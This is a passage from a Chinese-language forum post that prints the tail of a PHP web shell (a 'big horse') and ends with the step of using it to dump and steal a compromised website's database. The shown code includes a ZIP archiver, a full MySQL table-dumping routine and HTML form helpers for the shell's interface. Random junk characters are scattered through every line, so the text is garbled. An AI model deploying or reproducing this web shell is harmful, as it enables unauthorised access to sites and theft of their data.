  1701.                                 closedir($dh);5 _0 o' s$ L* u+ Z. l& ?2 S5 m
  1702.                         }
    1 m# \5 T- C3 g6 H) y, [
  1703.                 }
    2 E# v2 J/ R/ c% i$ P0 ?. \4 m
  1704.                 return $a;( p6 {$ h6 S6 c3 C
  1705.         }8 k" W1 d: @! _( }
  1706. % s  ]8 K  r$ c, r! ?) L* b% V: a. Z
  1707.         var $datasec      = array();
    " v! w- H+ F' o9 G1 o2 X6 Z/ S
  1708.         var $ctrl_dir     = array();
    1 S6 A1 C& D  S- r0 h
  1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";3 o! D. i9 E- q. w
  1710.         var $old_offset   = 0;
    4 J/ A, A8 R  |, O, s8 K

  1711. . v$ n0 \& f/ ?7 @$ T0 d% {: U
  1712.         function unix2DosTime($unixtime = 0) {
    0 j. ]2 W! b' x6 ^
  1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);- U2 G- }* R$ L9 R
  1714.                 if ($timearray['year'] < 1980) {
    ! d7 A5 y5 ]  O9 x: a2 \6 Y
  1715.                         $timearray['year']    = 1980;: F: |/ W! B/ D4 X* X
  1716.                         $timearray['mon']     = 1;- g" _8 W8 q/ l/ [4 \  Z$ _
  1717.                         $timearray['mday']    = 1;
    ' A  m2 O/ L, j6 m4 A! V; M
  1718.                         $timearray['hours']   = 0;
    ' `$ e0 _) g' U3 A- ~; a9 x
  1719.                         $timearray['minutes'] = 0;3 k" I# M8 X, q. H7 s' j) {% _" K
  1720.                         $timearray['seconds'] = 0;
    ! ?1 ?: G: {2 `5 K) Y
  1721.                 } // end if
    9 z5 I# i1 b4 N  r% o
  1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |8 N( |2 M& }% o  K) _# C
  1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
    4 b- E/ G: y0 z, _
  1724.         }- B/ e" D; d+ D; d& b/ @7 {* Y
  1725.         function addFile($data, $name, $time = 0) {
    9 G! D/ b" Z0 l, p$ X
  1726.                 $name = str_replace('\\', '/', $name);# n3 z* a9 M8 A+ ^0 F
  1727.                 $dtime = dechex($this->unix2DosTime($time));1 z8 E4 X! M* Q7 T5 D
  1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]
    - ?  v$ D/ _& @3 F# N7 j* d
  1729.                                         . '\x' . $dtime[4] . $dtime[5]7 `/ q  z3 f# _4 _
  1730.                                         . '\x' . $dtime[2] . $dtime[3]
    - ]# Q' d& K9 t+ |6 v3 e
  1731.                                         . '\x' . $dtime[0] . $dtime[1];
    ) v* E  G. P4 @1 a8 `5 t. ^
  1732.                 eval('$hexdtime = "' . $hexdtime . '";');6 p% |" l* y1 C2 }/ b
  1733.                 $fr        = "\x50\x4b\x03\x04";! x3 x$ P! L* R. Z4 K9 {9 @! O5 z
  1734.                 $fr        .= "\x14\x00";
    & F# [9 \3 A; y8 y3 _' V8 G/ Y
  1735.                 $fr        .= "\x00\x00";
    : z9 |/ s9 e# Z$ J+ {3 [
  1736.                 $fr        .= "\x08\x00";0 g1 G7 {, _. A1 l4 i3 w
  1737.                 $fr        .= $hexdtime;/ l: y3 \# b' _& J1 Z( v
  1738.                 $unc_len = strlen($data);# T( v7 [( j( g+ I% S7 a& h
  1739.                 $crc = crc32($data);8 m0 J5 N8 G4 o2 o7 t3 h
  1740.                 $zdata = gzcompress($data);
    0 S8 o. J) Z, u( }- ^
  1741.                 $c_len = strlen($zdata);
    1 I+ t2 v" m" Q6 m% @
  1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);# a3 H7 {! x' w# E/ A' h6 l
  1743.                 $fr .= pack('V', $crc);
    $ U6 Y  H# `; t) j; m
  1744.                 $fr .= pack('V', $c_len);9 [8 X4 j, D: B# e0 h2 e
  1745.                 $fr .= pack('V', $unc_len);: R; {& J7 X. X( S, i, b8 x, d
  1746.                 $fr .= pack('v', strlen($name));
    * [! @9 v7 Q  ~* Q8 M5 \! e$ d
  1747.                 $fr .= pack('v', 0);
    7 A9 h/ l5 F  u& x, X9 o" U
  1748.                 $fr .= $name;9 q- e# e7 A+ w# o1 R9 O& e
  1749.                 $fr .= $zdata;
    ) U8 Q% _5 N& @2 S+ i6 h- P! m# K
  1750.                 $fr .= pack('V', $crc);& H& O7 A) q. Z+ v
  1751.                 $fr .= pack('V', $c_len);
    - B( y/ Y  ?/ M# ]5 d6 l% q  B( M) i
  1752.                 $fr .= pack('V', $unc_len);" f2 _; D7 q' N# g
  1753.                 $this -> datasec[] = $fr;* e0 w% N( j5 ~. G7 s
  1754.                 $new_offset = strlen(implode('', $this->datasec));" s7 J* [4 o& D) |8 o, `
  1755.                 $cdrec = "\x50\x4b\x01\x02";7 l2 I8 p* L( q( R
  1756.                 $cdrec .= "\x00\x00";! G3 _3 y2 l9 P
  1757.                 $cdrec .= "\x14\x00";" y  I! L5 s. m
  1758.                 $cdrec .= "\x00\x00";
    % f. `) ]3 X2 F7 f  R
  1759.                 $cdrec .= "\x08\x00";/ g3 W  h# B8 @" c' a( {
  1760.                 $cdrec .= $hexdtime;
    8 L9 K' b& f% Q- P# @! g
  1761.                 $cdrec .= pack('V', $crc);& S4 k5 |2 ^) j  r' h" a* S
  1762.                 $cdrec .= pack('V', $c_len);! ?8 z+ [* o6 U5 }! E
  1763.                 $cdrec .= pack('V', $unc_len);  p" \2 |' w2 P
  1764.                 $cdrec .= pack('v', strlen($name) );% J8 X) d- i/ Y. U3 m
  1765.                 $cdrec .= pack('v', 0 );9 E' i+ V# x7 s1 B
  1766.                 $cdrec .= pack('v', 0 );( ^, Q- c0 W% j' P: R, v
  1767.                 $cdrec .= pack('v', 0 );6 b; Q* g, c, Q& c
  1768.                 $cdrec .= pack('v', 0 );- N# {  T2 j/ Z5 g4 f
  1769.                 $cdrec .= pack('V', 32 );+ ~" l0 O% z! [& K6 s. C4 R
  1770.                 $cdrec .= pack('V', $this -> old_offset );
    2 z3 k# Y# d8 y- p9 G/ U
  1771.                 $this -> old_offset = $new_offset;5 K6 h! [- L! i) u" j
  1772.                 $cdrec .= $name;
    + h+ i$ p" K- ?2 `
  1773.                 $this -> ctrl_dir[] = $cdrec;
    - l3 y" B$ H& z! g. h" q
  1774.         }
    # q! C$ J2 I9 o( ]2 T, ?& Y
  1775.         function file() {- A7 B! d/ u5 R+ }. v
  1776.                 $data    = implode('', $this -> datasec);
    - h4 T1 [. v  Y
  1777.                 $ctrldir = implode('', $this -> ctrl_dir);
    5 j5 }' W5 O. t" C1 A
  1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
    + z, `4 J; t/ _1 Q1 I7 @8 T  D6 p2 m
  1779.         }
    : r) f' ?) s) t& a+ Y* F7 ]; r0 G
  1780. }( D3 w" Z) t+ c6 b2 F. V2 a- X# j
  1781. // 备份数据库
    5 B! _. h. s1 X7 E' Z8 l3 X
  1782. function sqldumptable($table, $fp=0) {
    # ?+ C- ]+ l1 r% m
  1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
    & M+ n- u8 R/ D) @- H
  1784.         $tabledump .= "CREATE TABLE $table (\n";! D5 ^- s. e5 ]3 @8 x- Y
  1785.         $firstfield=1;
    4 _* b8 ?/ B5 Q/ W' k' @- N
  1786.         $fields = q("SHOW FIELDS FROM $table");6 w4 X. x' _) a( |: b6 w! E
  1787.         while ($field = mysql_fetch_array($fields)) {
    # k- i* b$ a$ x( T  z: s
  1788.                 if (!$firstfield) {9 x7 }- W/ U8 y9 [$ F0 s9 J5 g
  1789.                         $tabledump .= ",\n";
    / w; ~: Z6 r' ^3 Y. W1 g/ B6 C
  1790.                 } else {/ w. A; H3 U  @( `- v
  1791.                         $firstfield=0;! A( B+ G) v) R. V% Q
  1792.                 }
    9 B& ?& _  f' E; k/ Z- [! H( h" [' c
  1793.                 $tabledump .= "   $field[Field] $field[Type]";* z* z8 X5 ]: C$ f% ~+ t+ H5 N
  1794.                 if (!empty($field["Default"])) {
    3 e& Z( y4 F' n, K! o" e
  1795.                         $tabledump .= " DEFAULT '$field[Default]'";
    ( C$ s: u; Z) H7 L" P; j
  1796.                 }
    , w) \7 a' x$ {
  1797.                 if ($field['Null'] != "YES") {9 r+ l5 W, u4 @- ^: |
  1798.                         $tabledump .= " NOT NULL";& |; B; j  P$ Z# `
  1799.                 }9 ]; o, ?/ Y8 }! _( ^$ ~& Y% g! B
  1800.                 if ($field['Extra'] != "") {5 ~+ V( W5 T4 G3 X+ s
  1801.                         $tabledump .= " $field[Extra]";. u# ~7 J) l+ p* I7 N
  1802.                 }; f0 H7 z" b  l! y+ m9 C' C
  1803.         }' C: _! a4 ?# h, |
  1804.         fr($fields);
    9 @& N9 b; S/ o
  1805.         $keys = q("SHOW KEYS FROM $table");. R; p5 a  S6 Y- v% m" M, C- a
  1806.         while ($key = mysql_fetch_array($keys)) {
    6 _4 q3 M' ^# F/ h
  1807.                 $kname=$key['Key_name'];/ y6 O! D. a& @
  1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
    . y1 x7 A  M4 Q0 o7 C& q8 ~
  1809.                         $kname="UNIQUE|$kname";8 k6 N% f  M7 m; `
  1810.                 }
    3 {1 S; g5 o2 {( V; g
  1811.                 if(!is_array($index[$kname])) {
    6 `1 I3 g6 p7 G: {9 i
  1812.                         $index[$kname] = array();
    5 W: @0 v9 C4 q( ?2 ~# \
  1813.                 }
    ) E: z/ N; I! n2 c& H( `8 d" m
  1814.                 $index[$kname][] = $key['Column_name'];
    # i8 w5 }! a% l) o
  1815.         }
    * N& t( V+ t5 x  [
  1816.         fr($keys);2 B1 e- Y0 n) s" W/ w
  1817.         while(list($kname, $columns) = @each($index)) {! s' ]! t" J6 [3 D$ G) K
  1818.                 $tabledump .= ",\n";, F9 r9 {: f4 m% q6 j
  1819.                 $colnames=implode($columns,",");$ k4 J1 O$ Z, G5 ^
  1820.                 if ($kname == "PRIMARY") {
    4 m, R# j9 x, J, m$ Q' ]
  1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";* j. j! c8 }8 g+ n" H
  1822.                 } else {9 e0 {. ?3 O+ c  |
  1823.                         if (substr($kname,0,6) == "UNIQUE") {# E1 J+ [1 g5 k
  1824.                                 $kname=substr($kname,7);
    3 d5 i" n1 m8 N3 v5 A. F
  1825.                         }
    9 m5 |+ n3 P- x
  1826.                         $tabledump .= "   KEY $kname ($colnames)";. p& S- B( I6 S9 x4 P
  1827.                 }
    ; J0 R7 o! N5 ?) `& x$ z9 h/ l
  1828.         }
    ) p7 u% S+ S5 u6 Z( u/ e, }
  1829.         $tabledump .= "\n);\n\n";  a# Y% T" f+ }$ C$ r
  1830.         if ($fp) {
      }( i! x$ u7 f# N- G( d4 }
  1831.                 fwrite($fp,$tabledump);3 Z; E& b& [9 q; t$ n2 J
  1832.         } else {
    4 M7 J5 |; v9 @; R! t* D  W
  1833.                 echo $tabledump;! c, z$ _7 E" V) X7 [0 L. ?
  1834.         }
    " r! z8 m. f! w0 I* G) [
  1835.         $rows = q("SELECT * FROM $table");, \4 J/ E1 F% \8 _: ^* `
  1836.         $numfields = mysql_num_fields($rows);
    * c  J8 \, c" B6 X6 D0 F9 i
  1837.         while ($row = mysql_fetch_array($rows)) {6 {$ \5 v1 D$ Z
  1838.                 $tabledump = "INSERT INTO $table VALUES(";
    8 E; L9 J) U2 S* c) ?
  1839.                 $fieldcounter=-1;
    % M& v' s1 p( q- c# o& o1 z
  1840.                 $firstfield=1;- B! v, m& b% x  U, f% O$ k  f
  1841.                 while (++$fieldcounter<$numfields) {, R; n3 B2 l# U. P8 W9 P
  1842.                         if (!$firstfield) {& e+ @+ a, m5 E
  1843.                                 $tabledump.=", ";+ O% {; b  L- H, s( X
  1844.                         } else {
    6 h4 N" j6 X& O6 C0 \
  1845.                                 $firstfield=0;
    ( a, s$ l# n5 O" M  x/ n
  1846.                         }
    2 ?% O) [! L& j! z6 V
  1847.                         if (!isset($row[$fieldcounter])) {. c1 b' N# B+ Q/ o& ]
  1848.                                 $tabledump .= "NULL";
    ( c5 s, s8 {7 U# C# m8 u- N( U+ b
  1849.                         } else {
    : D. l6 R) e6 l. @
  1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
    9 ]. p# A- i# `' x9 k
  1851.                         }
    8 t- ~7 z. u. E0 [: b
  1852.                 }2 D% }# T% m, l
  1853.                 $tabledump .= ");\n";. D4 `% Q6 T" j4 K8 [. }
  1854.                 if ($fp) {3 f: C  c; {. k- D! y9 N
  1855.                         fwrite($fp,$tabledump);+ G- q7 [. H  T" ]: {
  1856.                 } else {
    ) Y& h# ~  Y6 B$ p  S
  1857.                         echo $tabledump;
    " m: p7 y0 X! Q
  1858.                 }
    , w& J( j0 v3 q+ A' g2 T
  1859.         }
    7 @* E1 X* ]. J' j. Z  k
  1860.         fr($rows);
    / z5 T0 j3 K$ m8 Q) _
  1861.         if ($fp) {0 f( q2 Q/ B: P- B+ r4 e
  1862.                 fwrite($fp,"\n");  i3 C8 V9 [- `3 w7 u, ]$ c
  1863.         } else {
    5 P7 L  f2 I2 M
  1864.                 echo "\n";
    7 [+ G% q2 ~6 N  V. s  x, T
  1865.         }
    / l; r, j: o) K  Y) ^1 F
  1866. }
    + P5 N' y& g# l  C1 ~% z% w, \" @
  1867. function ue($str){2 j1 p& m/ k1 n4 E. @
  1868.         return urlencode($str);( }. n# W( s/ p
  1869. }5 L8 u8 O6 ]) }. G/ l& [
  1870. function p($str){1 R) C. W, ^7 y+ R
  1871.         echo $str."\n";) ^$ O5 b. U( K8 D: P; a
  1872. }0 ]: r- Z& y; `. u' Y
  1873. function tbhead() {+ I* \/ _8 e; k8 S; n$ j7 r0 {/ k
  1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
    & W& l3 ]7 M8 `( n7 h& x" S
  1875. }
    % \, z3 t- n$ }5 R
  1876. function tbfoot(){
    $ c& \! N7 \& o2 g/ F
  1877.         p('</table>');: [0 [! ]6 N+ h1 U
  1878. }% T8 m" I: k/ }$ S3 }
  1879. function makehide($name,$value=''){
    6 h  ]  h7 n3 y
  1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
    % m) \. g9 e/ R3 `; s, M( o( T
  1881. }
    0 b" f0 `. }' B% P. T$ F" X" D; Y
  1882. function makeinput($arg = array()){# d7 I3 I7 B& b; z/ ]) W! C1 u4 j
  1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";4 n  m  n4 ~8 x; a6 {- u1 S0 V- T
  1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
    8 g# y+ k7 E' Q+ R* Y8 T
  1885.         !$arg['type'] && $arg['type'] = 'text';
    , d5 g* E0 I; ?1 R5 C$ \
  1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    / l* r* {' ~5 }% U0 R- m. y6 H
  1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
    2 E0 s1 [1 L; `/ d* W
  1888.         if ($arg['newline']) {4 O3 ]2 u2 O" D1 q4 \. P1 }& \0 A
  1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
    / n8 ~( H* [9 L9 A: D
  1890.         } else {
    . w/ W# p9 F. G* G# B- p& ]2 K: A
  1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
    $ \" a% g# t) i- o% ]" |
  1892.         }
    ; I4 x  ]* q5 q
  1893. }# a/ N4 [. X0 g' w6 \+ y9 d! y
  1894. function makeselect($arg = array()){
    / K2 N! V6 o' u" H
  1895.         if ($arg['onchange']) {
    3 Z/ O+ Q0 K0 C5 \
  1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';1 Y1 v* a1 s9 _& ^# j* a
  1897.         }
    , a6 B2 u. l/ c* p8 ]
  1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
    ( ]/ M7 J0 [4 x/ Y+ V: I
  1899.         if ($arg['newline']) p('<p>');' [" d, d* [; |; }" g5 q
  1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");" O& w5 Y$ Y+ x% ]/ J) C. M' ]
  1901.                 if (is_array($arg['option'])) {
    $ I3 _" E0 B; ~
  1902.                         foreach ($arg['option'] as $key=>$value) {& B/ U' [, k/ t
  1903.                                 if ($arg['selected']==$key) {
    " q8 a' s4 F3 y0 ~- H& q6 H
  1904.                                         p("<option value="$key" selected>$value</option>");" M' Z( \* O% X5 z
  1905.                                 } else {
    7 _$ K+ |3 l7 \. U" S! ]
  1906.                                         p("<option value="$key">$value</option>");
    2 x* c  c: f' y4 M3 G
  1907.                                 }. ?7 S6 h1 g( u1 F* f
  1908.                         }
    8 g% h- Y; C, w6 f  J* }; P
  1909.                 }7 `+ J' J1 G/ ^: s& W7 }
  1910.         p("</select>");
    + n& V! T1 [; n9 \, [
  1911.         if ($arg['newline']) p('</p>');4 a2 q$ d# T( D& l& g
  1912. }
    . e0 A" G5 ?$ [! j# R
  1913. function formhead($arg = array()) {9 ]0 S; ^/ z2 [( ]3 C6 G# e1 D0 u
  1914.         !$arg['method'] && $arg['method'] = 'post';/ f# ~8 z+ z( O. D. C7 u
  1915.         !$arg['action'] && $arg['action'] = $self;
    & F, y4 |. ]0 L* W; c  K3 m# X
  1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';2 _! q: R2 l. H" C. }
  1917.         !$arg['name'] && $arg['name'] = 'form1';9 O5 T  B; p2 {3 ~0 f1 w
  1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");6 r( N* l0 t7 E" r) F6 s9 {5 @
  1919.         if ($arg['title']) {
    ( j! s- F4 B8 t2 z& f# ^! w& `
  1920.                 p('<h2>'.$arg['title'].' »</h2>');* i* W/ {3 u6 p
  1921.         }: ?- g- M0 A$ J- Y6 F
  1922. }
    9 D; e- i0 F1 u# \
  1923.         6 [3 V  W6 ^/ w0 U& V; O% @( j
  1924. function maketext($arg = array()){
    / ~% H# U- s- q" B& n/ H" G9 a
  1925.         !$arg['cols'] && $arg['cols'] = 100;+ E* B* @% @; }# f3 {
  1926.         !$arg['rows'] && $arg['rows'] = 25;9 Q: b1 f2 n( p1 ]/ B. H  E
  1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';$ @6 L7 Q2 q6 S1 Q; X; `) P  H
  1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");( g4 J: _" v: U8 p
  1929. }
    4 L, s5 M7 k$ a! H( ^2 E: C! Y

  1930. ' j- c( D; w- ^& e+ S6 [
  1931. function formfooter($name = ''){: }, e7 F  f: t/ a0 v3 {* Q
  1932.         !$name && $name = 'submit';. ?, w/ _! l" C( v$ X8 T
  1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');& E9 M, u' a9 f. i& |# N7 A
  1934.         p('</form>');
    , P* \, i# }. p% ]8 g
  1935. }* X+ ^. }& d# E$ V. V/ \$ ]# Q6 f

  1936. 2 M: o/ e9 _0 K1 z! u4 Q7 T
  1937. function formfoot(){0 b" J  b  G7 e" B
  1938.         p('</form>');6 X5 r! F! }& R4 P# C
  1939. }9 P( t. l3 W! f: K# A* @1 M. K# O# ~% W
  1940.   Y1 |' {4 R- g2 K& a/ C& v
  1941. // 调试函数
    , Z) Q* x+ i! D" ?3 T( o4 G/ q0 D
  1942. function pr($a) {- e/ w/ _1 B: N5 m# Y2 i5 V
  1943.         echo '<pre>';
    . q" t/ f4 ]! M7 W% A
  1944.         print_r($a);4 T4 R5 W6 J/ b! i/ q( O& l0 Z5 W
  1945.         echo '</pre>';
    ! \0 u* J. h0 _' c% q
  1946. }
    4 B4 @9 Z7 n% N4 b
  1947. 7 p* z$ @' c8 d% E. Z0 o& z
  1948. ?>
复制代码

11、最后通过大码对网站数据库进行脱库
6 F* o3 V+ I" m) X1 z6 a1 c5 }

5 D2 M' s; E  v: s  k7 D1 v

' U# A. I1 w2 m1 g
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|返回首页

GMT+8, 2024-12-23 23:46 , Processed in 0.105072 second(s), 25 queries .

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表